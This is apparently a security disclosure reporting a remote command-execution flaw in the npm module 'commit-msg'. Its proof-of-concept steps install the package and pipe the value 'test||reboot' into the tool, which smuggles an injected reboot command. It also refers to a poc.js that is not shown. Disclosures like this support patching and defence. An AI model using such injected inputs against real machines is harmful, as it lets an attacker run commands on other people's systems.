[commit-msg] RCE via insecure command formatting

I would like to report a `RCE` issue in the `commit-msg` module. It allows to execute `arbitrary commands remotely inside the victim's PC`

npm i commit-msg -g # Install affected module
git init # Init the current dir as *git*
echo "test||reboot" | commit-msg stdin # Your machine will be rebooted because `reboot` command is injected
node poc.js #  Run the PoC